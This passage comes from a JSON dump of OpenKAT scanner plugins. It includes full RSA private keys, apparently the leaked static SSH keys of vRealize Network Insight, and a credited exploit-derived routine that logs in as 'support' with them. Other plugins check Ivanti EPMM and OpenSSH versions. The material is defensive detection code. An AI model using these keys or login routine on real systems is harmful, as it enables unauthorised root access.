C5Ub\nZay0ToVJFYM37qwdou7QwbjlTDkQgVUvfN1dK3N64gkjPydaa+97zdLB5mfM2NyM\n+FCd4CtnRUmvKIFcTqcPUs+ZAoGAPoi1S1EfDx9xRTn9bFjxhiIiVGPtKBkcbBC6\nENnpPW4hnN3W8T5fDCLsVCTIi63Z+qlPVfUxrPVqWMtMpsK4UOVLGFndF9r+nVPH\nTJSNR1YT28uUF0o/chzHyzl/Tt58aZVxb4zNH5Xgqshzbjwxok6KqpDbCd/Utg24\nVkIRAyECgYEAwgnMIysZVk329LhPzjMQgDSThQnautMJ0SjafSYWn2ASlWOn1XWk\np3POBuQHSHLkMf7aDfka3rPRhn1yTTFgd5oHjTLexU+xMGhXkbVy3alUGAcZE8lH\nFkyKZUYTisGZn3qrMKNim/+o5DGXn02RbOS5iNiX4wxNVJ+DtEk9Q6I=\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.8.0/id_rsa_vnera_keypair_6.8.0_platform",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEA0h41gxtVvp/p62gUE+KrgD+8kOEDM75UDaDqZDw8VmNnjKDx\nVSR01+7732O4bwCY8iPRe+0TAYRS+vv6HH/QYwxl9OYhAUXZijjn5pVGojEWCTaD\nz/GV+/U7QhjgfPS2qW46tuQOXQSRShDDkCDEHR8mspOSQSyGbSmpPYXOt8eXssvC\nyd4XM8eJhaoZzZAg8kFhFiy/l5J2yAeCFePMEbNxVPon0rf6BnXucGycoJtZWAAR\nHKnBW1shHIT+DNDMo9HUU7s1qVY8IRET6LqbDtgRgFS1PDD73KFlgozoquuwVZuK\nF6Uuwl6KU8f5Lgp7jvPWaqguTxvFyiVKZlhdgwIDAQABAoIBAQCceGqZK636utNT\nvrnU5SOZ6dzedvIPgljNnVtvMXwtSPE/xEpzgSaR9yISBQy/fM5o40uI4c8ZfhTd\nWu+ycWwZlo4GhalmbUHGsQHgsKFc/vjN+47FN77dVo2+dxAVfZbZLYED2Wjo1BHt\n+fXoSr5AgYYrzcFIT4P7nt6tNgvuxpXsMNAIN7uP7Hcdme7xb3DCxcti5x9sbljX\nGM3sI1MbqBnhkBpDxzQrBBMkpn37+8P9vYsCtBUzpI/XZvDJ3cIRbBG2Ph+tbeQm\ncANuj5YVeiKq3/p5EKdMbH7a/+x0+faIWHol8GqMW/GNL69tDMvO46kE9cqhf96d\nrtOA032BAoGBAPI8QriLzzflfP4GU7V+dO4vVtC7nzeks1Y8LGseDk81LGpJBpuG\nEqHzPhvNrJlmensefIRk7ItOFQVf8erZ2dkvHJQTo7zGX65avNfk2hh0NTfqa4a6\nrA+i+i2bymBjt1aGtELuZIZAFiMM5/1qq3dW9NzF6w+5I2V1NgvuUHmxAoGBAN4O\nvpsIc1sPDThLG6kiBk9OXpUXi2ZRLQa1xN1Tby8bn8cwqMT+OpanA2CzRnNiHFYL\nWH2sJBCZwmMDJJq3g82BA17/Z8fivrvUB4PNOW2TGjxyaqdgilAtYT9fpJgSodY9\nW3ZrsFI/kX6KMwbLuIVNCyqHLnc87lNLO7zdlqNzAoGAOMXm3VnnNzKSGPdipyb8\nQNbXghR3PJNddNilkHV65RWRU1fKNKk3tL1N0TZjPZDHJBQBGwaMahni01+pU2G7\nrStdh1cTCSt1QWgC2pbIhvK1hmVqzijyKrgH6qiYxf6Y+a6YkRdOeCiNB6n+tWZK\nya2Xtias8QJzSVQvVpyEQAECgYEA2QQN8dP7cQWvxNFakhwHkKAlvY3KFc/FsmYY\npLky0xYrO+9pMUTIm41TtsDeXEuJJ+pkrEV85aBvonZi4rXxIPkyAziXA3mtMEHS\nqlP6CQWXwXWMmFG4Ow1umhHt+RVUht1mMsCiDG/F0KZdogmdJuGZxRFiLvQkctD2\n6+ifnNMCgYAHGFS675HYCVgoa5E1FmK9Vc7C+PjHqARrKinmbODB0GBMnKDk7qww\nGeL0TlxQnJNabxwa1cUK9mW50pihAMlDOfwtxGuMhkyvH7sH400Iazb/y0rordHT\nA9a33jHpjIsviQD/R5oKXF2GEOUK1GTfhXYY6Nan/LTxxHiDFF/hIQ==\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.9.0/id_rsa_vnera_keypair_6.9.0_collector",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAoUJXpD/5Wh7r4GIKD9UseSse3XTmMoS6IhsgmEkathmwdTww\nqzxA4vDcDufewZV5Jb6ekCe5+ImYCyu6SNJTm2w4LN9FRhyPHG6US+ZmCpfm6tVm\nuuada98jcbfLw1cZfai+2vqKGDX4+N6Tcs10tnQZ4seqln5Lb97NJ5pnWYhhz0DJ\nC93N4GpZIcj3rz2AKvxOCGWWqFV9yv5fUhzw9NPW65+NYkHtw/6dNOMA2+6w125D\nU4cax94nKfMVfXOlPY4gCxDNX2LmvQm6Dc9nXywqoK72M4yooKQ621n4U+o5WPcZ\nMvg75rYJN/d+J0NrYtfTejwThYp6XBd9B41IUQIDAQABAoIBAGJjifmrFsaHqz8i\nUiVK2XGsf4567qDQHokEqCSCJgwJLIK7EK7JeoV8k6d8jYrrWhlPboth0bP0r5HR\nQj2AJobjxnqKV0fp0N92EIEmuAeqmreZMK7EWjQg1w1hKK+sit8CgEA3MN6Iv7mI\ng8o91QIlYE3fqRNdR0WgWOfa60fSWBmblw/zy9trEN8SYVTV4IKxYGtZzxw3Ka4P\nw23d0Vq0lB4iYjiaLXWwlsDBerUM/SVDck6k5EDmxmTD5s3edm0CGsxesaxxG/8w\nmUU03IQ5rBuhdhhvrqnvQMrvWFXPRRFmFEpyQ0UxNSXZNIWAiw3CdFBHxGDI7PkR\nlwstaeECgYEA1sYMIkFauOYM6ff1MCFbWtz7YHv15zuaAvaRLQqZ+gn3wsgRTJTl\nCgYSdWCf74Sk3cUBdS6M4xqoEZAMzNIYV/HNj8F89m6+HE6r18cFhXzKQGq2FbgK\np4CDe6p5Sv4gl9H8lqqH46/TVipxSrxr68bSrwdQyPGU+laEpbQ8PKUCgYEAwDaZ\ne4cUARkADJ6E8JJvHUxaQfbAG3S7v9aOP371teFO1wgF2D9OsGWSPVuQwYb5Zfaf\naUu3UjV1CSU13dFDOkWXAGM6ZmgubF4TW95+yS1w7rJlZYjTbxE2Ew8fyEFrEHK9\neREsouTEcLS/nSBqUut847EitHRmgE2ymHNWcT0CgYAFCyOPzl8WBnj5KZR9a9sc\nWCIjEuYkZvbn6Ohh2WTiRUenMFGPrdNvF9NpJDq9Qi0o9A5jtRMj5iVaPDrAuJJP\nxmLgZFfN5a3bNlG8wHS1vMd3Gcpq2iaN5muwBMHSbANR7WF0HE8Snrdkx5xfd+tE\n3ydlatOP1HR+KHf2+DON7QKBgQCwhnRWuitpBqjA7iRxPErHwYNy6UZs8Lws5sMl\nFVhbfVyGp1uWyi1eWyn/J8S9t1P8jI7CiUMHQQkHKSFbYgA32Alh1b+gpTVdWNi2\nmpQd9pms3jG5Gfv0GP5saotpwoqtRHM2aMtxnl+6koUXrNl45cSA6AFTcUNhufm3\ngNV2kQKBgBXOVa2ntVpqCng6pecJICknw6Dr6/H6YE01Ks7sXaHwD5bupkokxnFW\nJcVtJFNGUbLJHowG1rt6B1/w2IXpZZB2P4hQi+9033PxT+C+B13VaMkWTu+KbUhv\nJi18eBNs+D3YHrR6sMyprth65c+GszaC/ZqyHxitP3UQhic41y+9\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/keys/vrni-6.9.0/id_rsa_vnera_keypair_6.9.0_platform",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpgIBAAKCAQEA99Bv5dUKWoLUuE2CRiri7LazYVFqH09vOZwBXPc61arFiZaI\nIrdqMxrkQ1AuBSfMVjSdOFYcgXF7FQmHe0YFCJrJFvc3xKbQQFFZHRiWfDggSNDq\nyt9T7xeb2suk3MI6jVT7Q/txnDZGSY9jDIwGDYygQ+VNBX+4A6A22XNZM4apdEx1\nY5jiuty7wqoQeYZ9Syb5ge7EErClM+DmpIquqURHHtlAxidi3d9PKLSgWywkuXhQ\nkY9NxigdqX5p5fmeEdvCOoB0rimqpnQD6rOzkTyr7cEklyYeUtZH0nG53dZopAP4\nRYeCq1ckGzfVGKc1USE66zEUFhRJTc341/sbmQIDAQABAoIBAQDLawmvO2U4TtSW\nROl+9402ifJNHCtkcCv4uhpUWYyt/3QPMMWm2bAPKy/cIWDlUnnk+WNk7yqPBrvl\n1OClTCCto4EVnPDmN5gSc7QWsiw04018+CEDTrbzOAnzW96EZ9rwUKXAdBIaDGM9\n1rmTfw0o6hpUIVFMBj7imwzrCkhahb3cRjOaPWn2HLQhVuExMx4XlcWHTlBAXQWB\nczeci/KY88loE96cn9YFP4ADF98L6vgi4WY3oXK7Jwv638IYUyksb4RTJirDXcuc\nyEZXMCzFkrzAhlZIX7ZgFULM9qgD17g9PaRmiYa3o7eUJ0d0Yq3Wnt2CnWDz+t9x\nwnAM5XABAoGBAP/oNgi5pNh+sSP/V/CjQ46+q81pBNMYauaTcFG14yY9oSgH2rtS\nj1Shvu9AHd4YskUiMs+6/6hNXkXwEClBwr5W5dxZixQYIu8tjVd3OoESvHg6VgUE\n1WTRuzX9rCQ/jCmE2+zr5JBnjzDBOKDvqicfrmGPLyC1iqIpYkxiBuKBAoGBAPfn\neUXtAh/0wf7nOavqCYapn8pAwSu03YAzGZs74YlF0pVMCdCxrJAHTCYbOOM/hB0o\n8CVLZhT+ibzDBobhNxOB0IdlX0wY421vobIH5Thn2gQ2XRmtRztv9QFWG1nWQPno\nBcE1XawnXpPHL7TbQksxmPmsb2wb3FfXCO5htn0ZAoGBAN0klB0yICweP4H2FM6U\np7rhNqIJkOvC/A5JdxSFc8gGFg/7yZ97FvVx2Qfzhlv5R4TKqtIsrOWKBl+1tqGQ\nfHPzsCudDbzNptK9sJjXJa2IvWnAL7mila3MOFXN40Zny/3NHCg/KYNImsrtDry0\nn3uzuwP/siA4AZdk39dWFtEBAoGBAKqvWkV1+QeNmuBpzcB7JFHuilFUImx4XCW/\niTrjkNbWFzaqIvvoyTple92k0pdMjScSn73d2wxLcQRhdyX4/NXWhIAkoOehHz2j\nJb6RRxZ+EpLh51odfzUCUbu40J4bMaOfSA8OMk+sz6aJ92PbrxpcrMoDGrhhumVU\nbhbLej1JAoGBAJzpodByDrSqmPSb8S5iRUiaJRTlg7BFIAo9+rmEqbl9pW4dFZQm\nkKNljx0zaJAqfqaPCi9WQLARXtYhBZbpUnhAsB89yjO4T0LFMhh2jAoJYZuOMnK9\nS8O/Gb4TUWDP6kGOmF9X2Wcc1FSyydmGHqR6OO3h1UdrhENNN3SSpshx\n-----END RSA PRIVATE KEY-----\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_34039/main.py",
    "content": "\"\"\"\nFrom:\n\nhttps://github.com/sinsinology/CVE-2023-34039/blob/main/CVE-2023-34039.py\n\nVMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)\nVersion: All versions from 6.0 to 6.10\nDiscovered by: Harsh Jaiswal (@rootxharsh) and Rahul Maini (@iamnoooob) at ProjectDiscovery Research\nExploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)\nA root cause analysis of the vulnerability can be found on my blog:\nhttps://summoning.team/blog/vmware-vrealize-network-insight-ssh-key-rce-cve-2023-34039/\n\n(*) Exploit by Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)\n\n\"\"\"\n\nimport os\nimport subprocess\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, str | bytes]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]  # input is IPService\n    ip_port = input_[\"ip_port\"]\n    if input_[\"service\"][\"name\"] != \"ssh\":\n        return [({\"openkat/deschedule\"}, \"Skipping because service is not an ssh service\")]\n\n    ip = ip_port[\"address\"][\"address\"]\n    port = ip_port[\"port\"]\n\n    for root, dirs, files in os.walk(\"keys\"):\n        for file in files:\n            key_file = str(os.path.join(root, file))\n            ssh_command = [\n                \"ssh\",\n                \"-i\",\n                key_file,\n                \"support@\" + ip,\n                \"-p\",\n                str(port),\n                \"-o\",\n                \"StrictHostKeyChecking=no\",\n                \"-o\",\n                \"UserKnownHostsFile=/dev/null\",\n                \"-o\",\n                \"BatchMode=yes\",\n                \"exit\",\n            ]\n            try:\n                result = subprocess.run(ssh_command, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n                coutput = result.returncode\n                if coutput not in (0, 127):  # 0 = it worked, 127 = `exit` does not exists but we did connect\n                    continue\n                return [\n                    (\n                        set(),\n                        \"\\n\".join(\n                            (str(coutput), f\"{key_file} is allowed access to vRealize Network Insight on {ip}:{port}\")\n                        ),\n                    ),\n                    ({\"openkat/finding\"}, \"CVE-2023-34039\"),\n                ]\n\n            except Exception:  # noqa: S112\n                continue\n    return [(set(), \"No known keys allowed\")]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_35078/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_35078/boefje.json",
    "content": "{\n  \"id\": \"CVE_2023_35078\",\n  \"name\": \"CVE-2023-35078 - Ivanti EPMM\",\n  \"description\": \"Checks websites for the presents of the Ivanti EPMM interface and whether the interface is vulnerable to the remote unauthenticated API access vulnerability (CVE-2023-35078). Script contribution by NFIR.\",\n  \"consumes\": [\n    \"Website\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_cve_2023_35078.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_35078/description.md",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_35078/main.py",
    "content": "from urllib.parse import urljoin\n\nimport requests\n\nENDPOINT_PATH = \"/mifs/c/windows/api/v2/device/registration\"\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, str | bytes]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]  # input is website\n    hostname = input_[\"hostname\"][\"name\"]\n    service = input_[\"ip_service\"][\"service\"][\"name\"]\n    website = f\"{service}://{hostname}\"\n\n    full_url = urljoin(website, ENDPOINT_PATH)\n    response = requests.get(full_url, verify=False, allow_redirects=False, timeout=30)  # noqa: S501\n\n    if response.status_code == 200:\n        return [(set(), response.content)]\n    else:\n        return [(set(), \"Ivanti Endpoint Manager Mobile (EPMM), formerly MobileIron Core not found\")]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_35078/normalize.py",
    "content": "from collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\nfrom packaging.version import Version, parse\n\nVULNERABLE_RANGES: list[tuple[str, str]] = [(\"0\", \"11.8.1.1\"), (\"11.9.0.0\", \"11.9.1.1\"), (\"11.10.0.0\", \"11.10.0.2\")]\n\n\ndef extract_js_version(html_content: str) -> Version | bool:\n    telltale = \"/mifs/scripts/auth.js?\"\n    telltale_position = html_content.find(telltale)\n    if telltale_position == -1:\n        return False\n    version_end = html_content.find('\"', telltale_position)\n    if version_end == -1:\n        return False\n    version_string = html_content[telltale_position + len(telltale) : version_end]\n    if not version_string:\n        return False\n    return parse(\" \".join(strip_vsp_and_build(version_string)))\n\n\ndef extract_css_version(html_content: str) -> Version | bool:\n    telltale = \"/mifs/css/windowsAllAuth.css?\"\n    telltale_position = html_content.find(telltale)\n    if telltale_position == -1:\n        return False\n    version_end = html_content.find('\"', telltale_position)\n    if version_end == -1:\n        return False\n    version_string = html_content[telltale_position + len(telltale) : version_end]\n    if not version_string:\n        return False\n    return parse(\" \".join(strip_vsp_and_build(version_string)))\n\n\ndef strip_vsp_and_build(url: str) -> Iterable[str]:\n    url_parts = url.split()\n    for part in url_parts:\n        if str(part).lower() == \"vsp\":\n            continue\n        if str(part).lower() == \"build\":\n            break\n        yield part\n\n\ndef is_vulnerable_version(vulnerable_ranges: list[tuple[Version, Version]], detected_version: Version) -> bool:\n    return any(start <= detected_version < end for start, end in vulnerable_ranges)\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    ooi = Reference.from_str(input_ooi[\"primary_key\"])\n    html = raw.decode()\n    js_detected_version = extract_js_version(html)\n    css_detected_version = extract_css_version(html)\n    if not js_detected_version and not css_detected_version:\n        return\n\n    if js_detected_version:\n        software = Software(name=\"Ivanti EPMM\", version=str(js_detected_version))\n    else:\n        software = Software(name=\"Ivanti EPMM\", version=str(css_detected_version))\n    software_instance = SoftwareInstance(ooi=ooi, software=software.reference)\n    yield software\n    yield software_instance\n    if js_detected_version:\n        vulnerable = is_vulnerable_version(\n            [(parse(start), parse(end)) for start, end in VULNERABLE_RANGES], js_detected_version\n        )\n    else:\n        # The CSS version only included the first two parts of the version number so we don't know the patch level\n        vulnerable = css_detected_version < parse(\"11.8\")\n    if vulnerable:\n        finding_type = CVEFindingType(id=\"CVE-2023-35078\")\n        finding = Finding(\n            finding_type=finding_type.reference,\n            ooi=software_instance.reference,\n            description=\"Software is most likely vulnerable to CVE-2023-35078\",\n        )\n        yield finding_type\n        yield finding\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2023_35078/normalizer.json",
    "content": "{\n  \"id\": \"kat_CVE_2023_35078_normalize\",\n  \"name\": \"CVE-2023-35078 Ivanti EPMM\",\n  \"description\": \"Checks if the Ivanti EPMM website is vulnerable to CVE-2023-35078. Produces a finding if it is vulnerable.\",\n  \"consumes\": [\n    \"boefje/CVE_2023_35078\"\n  ],\n  \"produces\": [\n    \"Finding\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2024_6387/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2024_6387/normalize.py",
    "content": "\"\"\"\nCVE-2024-6387 checker\nAuthor: Mischa van Geelen <@rickgeex>\n\n\"\"\"\n\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding\nfrom packaging.version import Version\n\nVULNERABLE_VERSIONS = [\n    \"SSH-2.0-OpenSSH_8.5\",\n    \"SSH-2.0-OpenSSH_8.6\",\n    \"SSH-2.0-OpenSSH_8.7\",\n    \"SSH-2.0-OpenSSH_8.8\",\n    \"SSH-2.0-OpenSSH_8.9\",\n    \"SSH-2.0-OpenSSH_9.0\",\n    \"SSH-2.0-OpenSSH_9.1\",\n    \"SSH-2.0-OpenSSH_9.2\",\n    \"SSH-2.0-OpenSSH_9.3\",\n    \"SSH-2.0-OpenSSH_9.4\",\n    \"SSH-2.0-OpenSSH_9.5\",\n    \"SSH-2.0-OpenSSH_9.6\",\n    \"SSH-2.0-OpenSSH_9.7\",\n]\n\n\ndef is_vulnerable(banner: str) -> bool:\n    if not any(version in banner for version in VULNERABLE_VERSIONS):\n        return False\n\n    if banner.startswith(\"SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u\"):\n        _, security_update = banner.split(\"deb12u\")\n        if Version(security_update) >= Version(\"3\"):\n            return False\n    elif banner.startswith(\"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu\"):\n        _, security_update = banner.split(\"3ubuntu\")\n        if Version(security_update) >= Version(\"13.3\"):\n            return False\n    elif banner.startswith(\"SSH-2.0-OpenSSH_9.3p1 Ubuntu-1ubuntu\"):\n        _, security_update = banner.split(\"1ubuntu\")\n        if Version(security_update) >= Version(\"3.6\"):\n            return False\n    elif banner.startswith(\"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu\"):\n        _, security_update = banner.split(\"3ubuntu\")\n        if Version(security_update) >= Version(\"0.10\"):\n            return False\n\n    return True\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    ooi = Reference.from_str(input_ooi[\"primary_key\"])\n\n    banner = raw.decode()\n\n    if banner.startswith(\"SSH-2.0-OpenSSH\") and is_vulnerable(banner):\n        finding_type = CVEFindingType(id=\"CVE-2024-6387\")\n        finding = Finding(\n            finding_type=finding_type.reference,\n            ooi=ooi,\n            description=\"Service is most likely vulnerable to CVE-2024-6387\",\n        )\n        yield finding_type\n        yield finding\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_2024_6387/normalizer.json",
    "content": "{\n  \"id\": \"kat_cve_2024_6387_normalize\",\n  \"name\": \"CVE-2024-6387 OpenSSH\",\n  \"description\": \"Checks the service banner for a race condition in OpenSSH server which can result in an unauthenticated remote attacker to trigger that some signals are handled in an unsafe manner (CVE-2024-6387). Requires the Service-Banner-boefje to be enabled.\",\n  \"consumes\": [\n    \"openkat/service-banner\"\n  ],\n  \"produces\": [\n    \"Finding\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_finding_types/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_finding_types/boefje.json",
    "content": "{\n  \"id\": \"cve-finding-types\",\n  \"name\": \"CVE Finding Types\",\n  \"description\": \"Hydrate information of Common Vulnerabilities and Exposures (CVE) finding types from the CVE API.\",\n  \"consumes\": [\n    \"CVEFindingType\"\n  ],\n  \"scan_level\": 0,\n  \"enabled\": true,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_cve_finding_types.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_finding_types/description.md",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_finding_types/main.py",
    "content": "from os import getenv\n\nimport requests\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    cve_id = boefje_meta[\"arguments\"][\"input\"][\"id\"]\n    cveapi_url = getenv(\"CVEAPI_URL\", \"https://cveapi.librekat.nl/v1\")\n    response = requests.get(f\"{cveapi_url}/{cve_id}.json\", timeout=30)\n\n    return [(set(), response.content)]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_finding_types/normalize.py",
    "content": "import json\nimport logging\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerAffirmation, NormalizerOutput\nfrom octopoes.models.ooi.findings import CVEFindingType, RiskLevelSeverity\n\nlogger = logging.getLogger(__name__)\n\n\nSEVERITY_SCORE_LOOKUP = {\n    RiskLevelSeverity.CRITICAL: 9.0,\n    RiskLevelSeverity.HIGH: 7.0,\n    RiskLevelSeverity.MEDIUM: 4.0,\n    RiskLevelSeverity.LOW: 0.1,\n    RiskLevelSeverity.RECOMMENDATION: 0.0,\n}\n\n\ndef get_risk_level(severity_score):\n    for risk_level, score in SEVERITY_SCORE_LOOKUP.items():\n        if severity_score >= score:\n            return risk_level\n    return None\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    cve_finding_type_id = input_ooi[\"id\"]\n    data = json.loads(raw)\n\n    descriptions = data[\"cve\"][\"descriptions\"]\n    english_description = [description for description in descriptions if description[\"lang\"] == \"en\"][0]\n\n    if not data[\"cve\"][\"metrics\"]:\n        risk_severity = RiskLevelSeverity.UNKNOWN\n        risk_score = None\n    else:\n        metrics = data[\"cve\"][\"metrics\"]\n        if \"cvssMetricV31\" in metrics:\n            cvss = metrics[\"cvssMetricV31\"]\n        elif \"cvssMetricV30\" in metrics:\n            cvss = metrics[\"cvssMetricV30\"]\n        else:\n            cvss = metrics[\"cvssMetricV2\"]\n\n        for item in cvss:\n            if item[\"type\"] == \"Primary\":\n                risk_score = item[\"cvssData\"][\"baseScore\"]\n                break\n        else:\n            risk_score = cvss[0][\"cvssData\"][\"baseScore\"]\n        risk_severity = get_risk_level(risk_score)\n\n    yield NormalizerAffirmation(\n        ooi=CVEFindingType(\n            id=cve_finding_type_id,\n            description=english_description[\"value\"],\n            source=f\"https://cve.circl.lu/cve/{cve_finding_type_id}\",\n            risk_severity=risk_severity,\n            risk_score=risk_score,\n        )\n    )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_finding_types/normalizer.json",
    "content": "{\n  \"id\": \"kat_cve_finding_types_normalize\",\n  \"name\": \"CVE finding types\",\n  \"description\": \"Parses Common Vulnerability Exposures (CVE) into findings.\",\n  \"consumes\": [\n    \"boefje/cve-finding-types\"\n  ],\n  \"produces\": [\n    \"CVEFindingType\"\n  ],\n  \"enabled\": true\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cve_finding_types/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"CVEAPI_URL\": {\n      \"title\": \"CVEAPI_URL\",\n      \"maxLength\": 2048,\n      \"type\": \"string\",\n      \"description\": \"URL of the CVE API, defaults to https://cve.openkat.dev/v1\",\n      \"default\": \"https://cve.openkat.dev/v1\"\n    }\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cwe_finding_types/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cwe_finding_types/boefje.json",
    "content": "{\n  \"id\": \"cwe-finding-types\",\n  \"name\": \"CWE Finding Types\",\n  \"description\": \"Hydrate information of Common Weakness Enumeration (CWE) finding types.\",\n  \"consumes\": [\n    \"CWEFindingType\"\n  ],\n  \"scan_level\": 0,\n  \"enabled\": true,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_cwe_finding_types.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cwe_finding_types/description.md",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cwe_finding_types/main.py",
    "content": "import json\n\nimport defusedxml.ElementTree as ET\n\nFINDING_TYPE_PATH = \"boefjes/plugins/kat_cwe_finding_types/cwec_v4.16.xml\"\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    cwe_id = boefje_meta[\"arguments\"][\"input\"][\"id\"]\n\n    root = ET.parse(FINDING_TYPE_PATH)\n    root = root.getroot()\n\n    # Define the XML namespace\n    namespace = {\"ns\": \"http://cwe.mitre.org/cwe-7\"}\n\n    # Find the Weakness element with the specified CWE ID\n    xpath = f\".//ns:Weakness[@ID='{cwe_id.split('-')[1]}']\"\n    weakness_elem = root.find(xpath, namespace)\n\n    # Retrieve the name and description\n    name = weakness_elem.get(\"Name\")\n    description = weakness_elem.find(\"ns:Description\", namespace).text\n\n    data = {\"name\": name, \"description\": description}\n\n    return [(set(), json.dumps(data))]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cwe_finding_types/normalize.py",
    "content": "import json\nimport logging\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerAffirmation, NormalizerOutput\nfrom octopoes.models.ooi.findings import CWEFindingType, RiskLevelSeverity\n\nlogger = logging.getLogger(__name__)\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    cwe_finding_type_id = input_ooi[\"id\"]\n    data = json.loads(raw)\n\n    risk_severity = RiskLevelSeverity.UNKNOWN\n    risk_score = None\n\n    yield NormalizerAffirmation(\n        ooi=CWEFindingType(\n            id=cwe_finding_type_id,\n            description=f\"{data['name']} - {data['description']}\",\n            source=f'https://cwe.mitre.org/data/definitions/{cwe_finding_type_id.split(\"-\")[1]}.html',\n            risk_severity=risk_severity,\n            risk_score=risk_score,\n        )\n    )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cwe_finding_types/normalizer.json",
    "content": "{\n  \"id\": \"kat_cwe_finding_types_normalize\",\n  \"name\": \"CWE finding\",\n  \"description\": \"Parses Common Weakness Enumeration (CWE) into findings.\",\n  \"consumes\": [\n    \"boefje/cwe-finding-types\"\n  ],\n  \"produces\": [\n    \"CWEFindingType\"\n  ],\n  \"enabled\": true\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_cwe_finding_types/requirements.txt",
    "content": "defusedxml==0.7.1\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dicom/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dicom/boefje.json",
    "content": "{\n  \"id\": \"dicom\",\n  \"name\": \"DICOM\",\n  \"description\": \"Find exposed DICOM servers. DICOM servers are used to process medical imaging information.\",\n  \"consumes\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_dicom.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dicom/description.md",
    "content": "Digital Imaging and Communications in Medicine (DICOM) is the standard for the communication and management of medical imaging information and related data. DICOM is most commonly used for storing and transmitting medical images enabling the integration of medical imaging devices such as scanners, servers, workstations, printers, network hardware, and picture archiving and communication systems (PACS) from multiple manufacturers. It has been widely adopted by hospitals and is making inroads into smaller applications such as dentists' and doctors' offices.\n\nThis plugin checks the IP address for exposed DICOM services.\n\n**Cat name**: Lotje\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_dicom/main.py",
